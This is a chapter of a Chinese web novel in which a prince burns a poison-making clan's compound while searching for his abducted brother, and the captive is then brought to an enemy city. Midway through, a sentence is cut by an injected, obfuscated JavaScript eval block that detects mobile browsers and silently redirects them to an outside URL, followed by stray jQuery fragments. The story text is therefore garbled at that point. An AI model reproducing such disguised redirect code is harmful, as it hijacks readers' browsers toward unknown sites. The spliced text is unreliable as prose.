75. 大礼

作品:《道长与女妖

    郑妃派人昼夜不停地赶往盛国与西齐边界,向寿雍奏报寿谦失踪的消息,堂堂世子被劫,非同小可,惊得他身体一晃,险些从马背上摔下来。


    西齐举全国之力反攻,眼下正是最关键的时候,寿雍几经犹豫,决议留下督战,顾不得寿诘几天前才在战场上受了重伤,一直高烧不退,命他即刻赶回京中,务必要将寿谦平安找回来。


    寿诘骑着快马连夜向东疾驰,顶着四月的温风,周身却像是浸在寒潭里,冷的透骨。


    “本王的王位必将传于对盛国有功之人,不论长幼,不分嫡庶。”


    他对寿雍的承诺深信不疑,这些年来跟着父亲东征西讨,几次险些死在敌军的刀剑之下。如今灭掉西齐之日可待,他本以为回京后父亲会宣布改立世子,可看寿雍对寿谦失踪的紧张程度,希望怕是要落空了。


    寒凉的月色下,左右两旁的绿树不间断地在眼前闪过,寿诘咬着牙狂甩马鞭,胸前还没愈合的伤口又裂开,手臂上的鲜血浸透衣袖,将整只手染红。


    寿诘带着几个随从连续七日不眠不休,赶在天黑前进了盛王宫,边走边问郑妃身边赶来迎接的内侍,知道寿谦是因为前往南陵世家索要曲正风的信,回来的途中才失踪的。


    寝宫内,曲南楼正依偎在郑妃身边垂泪,听说他回来忙起身退后,用帕子沾了沾眼角。


    寿诘狠狠瞪了她一眼,在他的印象里,寿谦一项谨小慎微,绝不会贸然带人出城,除非关乎曲南楼。郑妃急促地迎过来,寿诘撤回目光,不冷不热地叫了声娘。


    郑妃的目光扫过他满手的血迹,视而不见,只焦心道:“轩举已经失踪好些天了,你马上动身去找找!”


    同为郑妃的亲生儿子,母亲眼见他受伤问都不问,只惦念着寿谦,寿诘心寒冷笑:“大哥不好好在宫里享福,非要往南陵世家跑,要什么曲老头的信,除了为那个女人,还有娘的功劳吧?”


    郑妃与曲正风的旧事早已不是秘密。


    三年前,寿雍强行把曲南楼送去韶阳,郑妃拗不过,与他争吵了好几日,一直到曲正风死了,她不顾寿雍的反对,极力促成寿谦与曲南楼的婚事。曲家固然是有名的诗书世家,曲南楼也算是才貌俱佳,但除此之外郑妃还有什么念头,宫中上下都心知肚明。


    “寿诘!”郑妃气急,不顾体面地高声呵斥。寿诘只当她恼羞成怒,哼一声撇开脸。


    这些年来母子二人聚少离多,难免生分,加上寿诘的乖戾性子与年轻时的寿雍如出一辙,让郑妃不愿与他亲近。


    母子俩僵持半晌,寿诘没再开口,嘴角勾着邪恶的笑,直直瞪着曲南楼,吓的她浑身一抖,故意挺直了身子,含着泪的目光冰冷。


    郑妃见状更是恼火,回身揽住曲南楼的肩膀护住她,向寿诘冷道:“别忘了你父王的吩咐,去找你大哥要紧!”


    寿诘满脸不屑,瞄着两人频频点头,心里如烈焰燃烧。


    同为嫡子,大哥寿谦不过比他早生了两年,不必争抢就能轻易坐上世子之位,而他就算流干了血,也只是不被父母重视的二公子。


    他些年来深埋在心底的苦痛和不甘在一瞬间爆发,怒冲冲奔向宫外。


    大哥自小疼爱他又能怎样,既然失踪了,那就永远不要回来!


    隔天一早,两千盛军将南陵世家团团围住,正门外,寿诘一身戾气,指着金无珠喝道:“姓金的,把我大哥交出来!”


    他无心救回寿谦,寿谦在不在南陵世家并不重要,但表面功夫必须要做足,否则惹怒了寿雍不说,还免不得被朝中那几个迂腐文臣的吐沫星子淹死。


    南陵世家近百年来独立于各方势力之外,还从未没过这样的胁迫,金无珠气的双眼通红,衣袖一甩,怒声重复,“金某人再说一次,盛世子不是我南陵世家劫走的,我们金家世代炼毒,要一个公子哥来何用!”


    寿诘冷嗤,“我听说金家主正跟成然那个废物做买卖,谁知道你是不是打算拿我大哥换钱花!痛快把人交出来,我可没那么多耐心!”


    他浑说的理由连自己都难以说服,干脆手一挥,命弓箭手搭弓拉弦,登时弓声滋啦直响,密密麻麻的弓箭对准金家大门。


    金无珠见势退后半步,彻底拉下脸来,“我南陵世家纵横江湖上百年,也不是好惹的!”话音未落,数十个黑巾蒙头蒙面的侍卫执起弯刀护在他身前,刀刃在晨光下泛着青紫,一看便知淬了剧毒。


    南陵世家的剧毒虽然厉害,但毕竟只有一座庄园,外加几座山丘的地盘,相较于马上就要全境攻克的西齐简直不值一提,寿诘仿佛看见一只矮小的毒蜘蛛在自己脚下耀武扬威,知道一脚踩下去免不得要受些创伤,但戏要做足才能让寿雍相信,他是尽力在营救兄长寿谦。


    “放箭!”


    寿诘一声令下,众弓弩手数箭齐发,不少黑巾蒙头蒙面的侍卫瞬间倒地,金无珠没想到他真的敢动手,惊的双手抱头,在侍卫的掩护下仓惶退进门内。


    一会儿工夫,南陵世家门前遍地尸体,高大的门板被射的如同刺猬一般。


    寿诘得意冷笑,站在原地喝令,“进去,搜!”身后将士扛着木墩撞开大门,提着长枪冲进庄园。


    金无珠命人即刻开启所有机关,暂时藏身于暗室里。


    两千盛军分成几路搜寻,偏东边种了一排怪树,枝干缠绕如蛛网,临近夏日长的越发茂盛,树冠宽逾一丈,上面渗出白色黏液变得稀如朝露。


    盛军刚一靠近,脚步震动的白液如雨滴落,落在身上烫如岩浆,瞬间烧穿铠甲和皮肉,腐蚀的白骨冒烟。


    盛军惨叫声不止,七窍迸出黑血,纷纷倒地而亡,其余几路也没走多远就中了机关,受伤即死,不出一个时辰,两千盛军几乎全部阵亡。


    寿诘不敢继续在南陵世家门外停留,带着仅剩的几十个亲随往盛都方向撤退。


    简易的军帐内,寿诘心有不甘地来回踱步,下颌紧绷着。


    他没想到对付南陵世家竟然吃了这样大的亏,刚一出手就全军覆没,被朝中偏向寿谦那几个老家伙知道了,还不知道怎么在寿雍面前诋毁他,就算寿谦死在外面,也会给他扣上不尽心尽力救护兄长的帽子,成为他日后争夺世子之位的阻碍。


    一纸调兵的军令发出,三日之后,七八万盛军顶着毒箭越过山丘,从东西两座门攻进南陵世家,有了前次的经验,寿诘下令盛军先抓些金家的护卫和家丁作为人肉靶子,一方面抵挡暗器机关,另一方面也可以逼问出从哪里攻入最安全。


    南陵世家的剧毒暗器无人能敌,但论家丁的战力和经验则远不及盛军。折损


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150601|153002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了近半数兵力后,盛军渐渐占了上风,在庄园里四处防火,企图逼金无珠现身。


    金无珠气的目眦欲裂,不得不从密道逃离,临行前让人开启蛇岛的闸门。


    不出半个时辰,黑压压的巨蛇冲过浓烟,如潮水一般涌来,各个粗过盛军的大腿,吐信声令人毛骨悚然。惊呼声、惨叫声响彻整座庄园,几万盛军被滚滚烟雾所阻,还不及跑出大门便死在黑蛇的剧毒之下。


    大火烧了三天三夜,被一场久违的暴雨浇灭,矗立百年的南陵世家被烧成一座废墟,寿诘派出的七八万盛军几乎无人生还。


    平山城内,成化虏站在城楼上远望着南陵世家上空升腾的袅袅白烟,俊脸上露出笑意。


    卓一斗跟着望一眼,继续低头盘着食指上新得的翠玉戒指,“王叔,是时候把寿谦的消息放出去了吧?”


    他这次立下大功,成化虏对他更是信任,闻声回道:“去知会姚城主一声,等她把消息放出去便是。”


    寿诘平了南陵世家也没有找到寿谦,盛王宫里悲声一片,郑妃知道寿谦凶多吉少,又可惜曲正风当年写给她的定情信毁在一场大火中,愁的茶饭不思,曲南楼红着眼眶在她身边伺候,被她心疼地抱在怀里,两人相对着垂泪。


    寿诘回宫修整了一夜,懒得去探望母亲,早起正打算派人去平山城查问,就听闻寿谦被人送往南都的消息,一经传开,整座王宫随之震动。


    郑妃大喜大悲间行走不稳,让曲南楼搀扶着,亲自来找寿诘,让他即刻带人往南都方向去追,务必要把寿谦平安带回来。


    此时的南都城下,一众人牵着马,护着三辆马车靠近门洞,守城的卫兵上前查验身份,行云取出南陵特有的竹牌递上,负手笑道:“我要见王爷,有件大礼相送。”


    守兵看看竹牌,又看看他。


    这张竹牌足以证明他是南陵人,依律可以进出南都,但他要见的是成然,守兵不敢自作主张,瞄一眼后面的马车,小跑着进城向上级禀报。


    行云轻笑,让赵冲把藏着寿谦的马车赶到前边来。


    竹牌是卓一斗多年前从成然朝中的旧友手中得来的,临行前送给行云,上面的身份虽然是假的,但竹牌本身却是真。


    不出多时,管事的从城门里出来,上下打量过行云后把竹牌扔回给他,踱步到后面的马车旁,正要掀开木箱,被赵冲一把钳住手腕。


    赵冲早年投身在成然麾下,虽说军级不高,又一直驻守在王盘岭的工势内,但脖颈上的刀疤太过显眼,怕万一被人认出来,用帷帽遮了头颈。


    管事的挣不脱,又见他遮遮掩掩,当即喊了声“来人!”一队守兵瞬间将马车团团围住,四支长枪直指行云眉心。


    赵冲见状更不肯放手,死死扣住管事的脉门。


    众俞家军路上还装出随性的江湖人模样,此时跟着围上来,各个目光如炬,一副备战的状态,双方对上,俱不肯让步。


    行云淡然拨开长枪,回头示意俞家军退后,向管事道:“这是专程送给王爷的大礼,万一碰坏了,阁下怕是承担不起。”


    管事又瞥一眼马车,将信将疑,再看一众俞家军,更不敢放他们进城。行云看出他的心思,退让道:“阁下不妨让我一个人赶着马车进去,这份大礼要不要,由王爷定夺。”